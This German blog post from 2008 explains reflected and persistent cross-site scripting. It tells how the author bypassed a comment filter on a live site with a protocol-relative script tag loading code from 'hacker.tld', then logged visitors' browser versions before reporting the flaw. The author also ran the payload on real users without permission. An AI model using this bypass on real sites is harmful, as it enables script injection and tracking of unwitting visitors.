Daily Archives: 9. Dezember 2008

XSS: Persistente oder beständige Angriffe

Die Art von Cross-Site Scripting bei der man in die URL etwas einfügt
http://domain.tld/pid=4715&title=“><h1>XSS</h1>
was dann irgendwo auf der WebSite wieder ausgegeben wird, nennt man nicht-persistent oder reflektives Cross-Site Scripting. Hier muß der Hacker per E-Mail seine manipulierten URLs verteilen oder darauf hoffen das jemand auf seine XSS-Links klickt, die er z.B. in Foren hinterlassen hat.

Persistente oder beständige Angriffe sind die zweite Form von Cross-Site Scripting. Bei dieser Form von XSS hinterlässt der Hacker z.B. Kommentare oder er fügt anderen Content in seine bevorzugte Community-WebSite ein. Diese Art von XSS hat für den Hacker auch den großen Vorteil das in der Adresszeile des Browsers nichts ungewöhnliches, wie im obigen Beispiel, angezeigt wird.


Vor ein paar Tagen fand ich auf einer Web 2.0-WebSite die Möglichkeit in den Kommentaren etwas Code zu hinterlassen… ;O)

Einfaches HTML in die Kommentare zu schreiben war kein Problem. Sobald allerdings eine externe Ressource per src=”http://… nachgeladen werden sollte funktionierte es nicht mehr, da nach dem Kommentieren immer ein <a … target=”_blank” hinzugefügt wurde. Dann versuchte ich es einmal ohne die Angabe zum verwendeten Protokoll…

Browser brauchen nicht zwingend eine Protokollangabe wie http, https oder ftp. Wird kein Protokoll angegeben so nimmt der Browser das Standard-Protokoll http.

Dieses Standard-Protokoll-Feature, was wohl alle bekannten Browser zur Verfügung stellen, ist dann auch der Grund dafür das ein Kommentar mit

Nettes Profil!
<script src=//hacker.tld/xsscode />

zum Erfolg führte.

Der Filter der den Kommentar vor der Speicherung in die Datenbank prüfte war nur auf http://… abgerichtet, um das target-Attribut einzufügen und auf _blank zu setzen.

Ich habe mir einen neuen Account erstellt und zu diesem Profil einen Kommentar hinterlassen. Wenn man mein Profil aufrief so wurde einem meine Eigenkreation des Logos angezeigt und dies an einer neuen Position. In dem nachgeladenen JavaScript habe ich dazu etwas CSS verwendet.

Leider stoße ich fast immer auf Entwickler die die Gefährlichkeit von XSS nicht zu verstehen scheinen und nur an irgendwelche offensichtlichen, sichtbaren Veränderungen denken und dann leider nichts unternehmen. Aus diesem Grund habe ich diesmal noch ein weiteres Feature in mein JavaScript eingebaut. Von jedem User der mein Profil besuchte wurde die Version des Browsers ausgelesen und protokolliert.

(Das Protokoll-Demo findet man auch in meinen XSS-Demos auf xss-wp.18c.de.)

Dem WebSite-Betreiber schrieb ich eine E-Mail mit zwei Links. Einmal den Link zu dem neuen Profil und einmal zu der Protokolldatei. Wenn ich E-Mails mit Hinweisen versende bekomme ich i.d.R. keine Antwort, wie jetzt auch nicht, weswegen ich dann ab und zu nachschaue ob das Problem mittlerweile behoben wurde. Ich habe das von mir angelegte Profil wieder besucht und dabei festgestellt das mein JavaScript-XSS-Code nun im Kommentar sichtbar war, das JavaScript wurde also nicht mehr ausgeführt. Diesmal wurde innerhalb von 12 Stunden die Lücke geschlossen. Es war wohl das Protokoll-Feature welches den Ausschlag gab das nun recht schnell reagiert wurde.